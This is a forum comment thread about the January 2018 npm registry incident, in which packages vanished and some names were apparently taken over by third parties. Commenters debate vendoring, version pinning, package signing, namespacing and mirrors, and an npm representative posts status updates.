  This is why you should depend on exact versions whenever possible. But even if you do, your dependencies most likely won't, so you are screwed anyways. The caret syntax for auto-upgrading to the next minor version is the open door to a world of bullshit.
• mifreewil 9y ago
  I made a half-joking comment on that thread that "'Bout time NPM goes blockchain." Either someone deleted it, or GitHub lost it among all the traffic to that issue. Wonder if npm, Inc. would view a decentralized registry as a threat to their business model?
• krapp 9y ago
  This may be a stupid question - I'm not that familiar with NPM or modern javascript development so forgive me, but does it not allow storing your dependencies locally? Is that not considered best practice? Just download your entire dependency tree and don't touch it unless you have to. It seems to me that if packages "disappear" from upstream, it shouldn't have any effect other than preventing an update due to the missing dependency.
  • fold_left 9y ago
    You can create a local offline mirror using the shrinkpack (not shrinkwrap) tool.
  • christophilus 9y ago
    It does store them locally. I think the problems here are: - The missing packages can be replaced by someone who wasn't the original package author (e.g. a malicious hacker) - It's not easy to catch this ^^^ because NPM doesn't have support for signing versions in your project's dependency configuration... (I bet it will after this.) - Almost every modern website has a dependency on NPM somewhere in their build chain - NPM being down means loads of sites can't deploy properly So yeah. This may be a really big deal.
    • krapp 9y ago
      It might be easier to catch if packages were namespaced by author and package name, or even directly by URL, the way Composer does with PHP dependencies. It's easier to spoof 'infinity-agent' than 'floatdrop/infinity-agent' or 'github:floatdrop/infinity-agent'
• danso 9y ago
  Does anyone know what happened to the author? It seems he was still on Twitter as of yesterday (Jan. 5), responding to someone about a merge request: http://archive.is/JEG90 http://archive.is/JEG90
• feduzi 9y ago
  I don't get why not just use git repo registry (e.g. github) for package management. If you work in a "strict" environment you can basically fork all your dependencies and use your own git repo registry. NPM already allows using git repos, but needs some tweaks to allow better support: * allow versioning via git tags * store git commit in `package-lock.json`. * maybe something else...
  • scottmf 9y ago
    What would you gain by storing the commit in the lock file? You can reference commits in package.json already.
    • feduzi 9y ago
      For the purpose of reproducible `node_modules` tree. Ideally if all packages would use commits, and the installation algorithm will never change, then there will be no need for lock files. In reality some packages will use NPM existing mechanism, so "git-based algorithm" will need to accommodate for that by reading git repo of the NPM package and referring to a specific commit, which should be store in `package-lock.json`.
• seldo 9y ago
  Hi folks, npm COO here. This was an operational issue that we worked to correct. All packages are now restored: https://status.npmjs.org/incidents/41zfb8qpvrdj https://status.npmjs.org/incidents/41zfb8qpvrdj
  • seldo 9y ago
    Update: (this is not the post-mortem, this is just more detail) http://blog.npmjs.org/post/169432444640/npm-operational-incident-6-jan-2018 http://blog.npmjs.org/post/169432444640/npm-operational-inci...
  • xwvvvvwx 9y ago
    What was the root cause of the issue?
    • chrisfosterelli 9y ago
      Yes I'd be very curious to see a debrief on what the technical cause was. Thanks to the npm team for a quick weekend fix, at any rate!
      • seldo 9y ago
        We're working on a full post-mortem now. Until then we don't want to give out misleading/partial information.
        • fl00d 9y ago
          Any update on the post-mortem? How long have the binaries been replaced? Is there evidence that malware was injected into the binaries? Additionally, you should brush up on your code signing implementations. Had you signed it with a trusted code signing cert, consumers could have verified that you produced the binaries...and not a malicious user. Assuming they didnt have access to the private key material of your code signing key.
          • 9y ago
• Moter8 9y ago
  Could we have a better title perhaps, giving at least "[npm]" or something as a hint?
• MaxLeiter 9y ago
  Couldn’t this be solved in the future by npm storing packages with user names? I.e. “MaxLeiter/example” instead of “example”
  • zbentley 9y ago
    Well, we don't know what caused the issue yet, so we can't say for sure. But I suspect that whatever family of problem deleted the packages causing this trouble could just as easily apply to the deletion (and illegitimate reclamation) of usernames.
• mcguire 9y ago
  Again?!?
• solidsnack9000 9y ago
  I would say we should be signing packages but...
• tonetheman 9y ago
  If you have a build system or a production system that relies on npm to be there, you are an idiot. Find your boss and tell him to fire you. Vendor your dependencies that are needed to run build your applications. Period.
• cimnine 9y ago
  When will people learn to host their own private mirror for things on the web that they depend on?
• 0x0 9y ago
  The status page at https://status.npmjs.org/incidents/41zfb8qpvrdj https://status.npmjs.org/incidents/41zfb8qpvrdj says that "We apologize for the temporary unavailability of some packages.". If this was only a matter of missing packages, this would "only" be a matter of breaking builds. But it looks like third parties were able to take over the missing packages, see https://github.com/npm/registry/issues/256 https://github.com/npm/registry/issues/256 - which is a HUGE deal, considering "npm install" blindly executes the scripts in a package's preinstall property (as well as the packaged module itself possibly containing arbitrary backdoors)
• mbrumlow 9y ago
  And this is why you vender your dependencies. Nothing in production should ever require any external service to build and run. You should also not be cowboy updating things just because there is an update.
• edem 9y ago
  I just don't understand how this can happen. In Maven Central for example (Java) if you publish a package it is immutable and stays there until nuclear fire immolates the Earth.
  • zbentley 9y ago
    Unless I'm misunderstanding something about Central's architecture, it's not fundamentally different from NPM in this regard, though signing appears a bit more feasible. Which means that it's not a technical difference. Maybe Central has been compromised/had issues before, just long ago (it's certainly much older). Maybe there are things wrong with NPM-as-a-company even if NPM-as-a-technology is fine. Maybe it's just luck. But "stays there until nuclear fire immolates the Earth" sounds a bit much like "this ship is completely unsinkable" for my liking.
    • edem 9y ago
      Maybe I'm a bit biased but I never heard of something like this in Javaland. So packages are supposed to be immutable on npm as well?
• prh8 9y ago
  As someone unfamiliar with NPM, why does it not lock package names for a certain period of time? Rubygems has a 90 day period, so if a package is completely removed, the name can't be used for that long. That seems like it would help with the security side of these problems.
  • allover 9y ago
    > As someone unfamiliar with NPM, why does it not lock package names for a certain period of time? From [1]: > With the default registry (registry.npmjs.org), unpublish is only allowed with versions published in the last 24 hours. If you are trying to unpublish a version published longer ago than that, contact support@npmjs.com. I am kinda assuming that if npm support were to help you unpublish a package that is depended upon (they might refuse), they would prevent someone else from re-publishing to that name (they might put up their own placeholder package, like they did during the left-pad incident), but granted I can't find this stated anywhere. I think the reason re-publishing seemed to happen in this case was they weren't prepared for whatever vector allowed for the deletion of these packages. [1] https://docs.npmjs.com/cli/unpublish https://docs.npmjs.com/cli/unpublish
• iMuzz 9y ago
  What exactly happened here?
• smoyer 9y ago
  The Maven Central repository for JVM dependencies doesn't share the problem of packages being removed like NPM periodically has, but Adam Bien has been instructing users to download the source-code for their dependencies and then compile them to their own repositories for quite a few years. I wish I'd taken his advice as there are a couple of JAR files that I can no longer update.
• mjrpes 9y ago
  I don't use NPM (or community managed package managers in general), but anyone know why there isn't an LTS feature with packages? So that, when searching packages, if a package is flagged as LTS, you know that it and all its dependencies have long term support and there are contingencies on what happens if the package is abandoned. Obviously, there would need to be a community that reviews and approves packages that aim to be LTS.
  • styfle 9y ago
    There are unofficial stability badges[0] that I have seen some packages use. For example, xtend[1] is locked. [0]: https://github.com/badges/stability-badges https://github.com/badges/stability-badges [1]: https://www.npmjs.com/package/xtend https://www.npmjs.com/package/xtend
• EGreg 9y ago
  Sometimes your project becomes bigger than you, and perhaps private ownership isn't the best way to handle that anymore: http://magarshak.com/blog/?tag=identity http://magarshak.com/blog/?tag=identity Well, Q allows you to choose between “each individual publishes their own stream” and some degree of “centralized publishing” by management teams of groups. So who should publish a stream, the individual or the group? If the individual - the risk is that the individual may have too much power over others who come to rely on the stream. They may suddenly stop publishing it, or cut off access to everyone, which would hurt many people. (I define hurt in terms of needs or strong expectations of people that form over time.) If the group - then managers may come and go, but the risk is that if the group is too big, it may be out of touch with the individuals. The bigger risk is that the individuals are forced to go along with the group, which may also create a lot of frustration. For instance, the group may give rise to into three sub-groups. They are deciding where to go, but some people want to go bowling, others want to go to the movies, others want to volunteer in a soup kitchen. Even though everyone belongs to the group. Who should publish these activities? So I think when it comes to publishing streams that others can join, there should be some combination of groups and individuals. And it should reflect the best practices of what happens in the real world: one person starts a group that may later become bigger than him. Then this group grows, gets managers etc. After a while this person may leave. In the future, other individuals may want to start their own groups and invite some members of the old group to join. They may establish relationships between each other, subscribe to each other’s streams, pay each other money, etc.
• Iv 9y ago
  I wish the NPM community would grow some humility and learn some lessons about how the debian environment was built. Have sane licensing that allows mirroring, have crypto-hash of packets. Have open governance.
• jgalt212 9y ago
  So has npmjs.com been hacked or what?
• peterwwillis 9y ago
  You know, back in the "old days", we used to host packages on these sites called "mirrors", so when one went down, we could get the package from another, and verify authenticity using multiple sources and signed files. There would be hundreds of mirrors for one set of files. Kind of funny how shitty modern technology is. But I heard a quote recently that kind of explains it: "The more sophisticated something is, the easier it is to break it."
  • christophilus 9y ago
    Yup. That's a good solution. P2P would probably be a decent solution, too-- bit torrent or block chain or whatever variant.
• avinium 9y ago
  Is there any chance of something similar happening for Nuget? I rely on it heavily for project dependencies, and I'd like to know if there's a ticking timebomb there too.
• themtutty 9y ago
  Was just discussing this elsewhere online. Package management is broken (or incomplete, depending on your viewpoint). What's needed IMO is the following: 1. Allow a single package file, including multiple clauses (or sub-files, whatever) for different languages. Let me manage my Angular front-end and Flask back-end in the same file. A single CLI tool as well - Composer and Bower aren't all that different. 2. Be the trusted broker, with e.g. MD5 checking, virus scanning, some kind of certification/badging/web of trust thing. Let developers know if it's listed, it's been vetted in some way. 3. Allow client-side caching, but also act as a cache/proxy fetch for package retrieval. That way, if Github or source site is down, the Internet doesn't come to a screeching halt. I see the value of Satis, but it's a whole additional tool to solve just one part of this one problem. 4. Server-side dependency solver. Cache the requests and give instant answers for similar requests. All sorts of value-adds in analytics here, made more valuable by crossing language boundaries. 5. Act as an advocate for good semver, as part of the vetting above. NOTE: These features are not all-or-nothing, I believe there's value from implementing each one on its own. Also note that nothing here should lock people into one provider for these services. There's a market to be made here.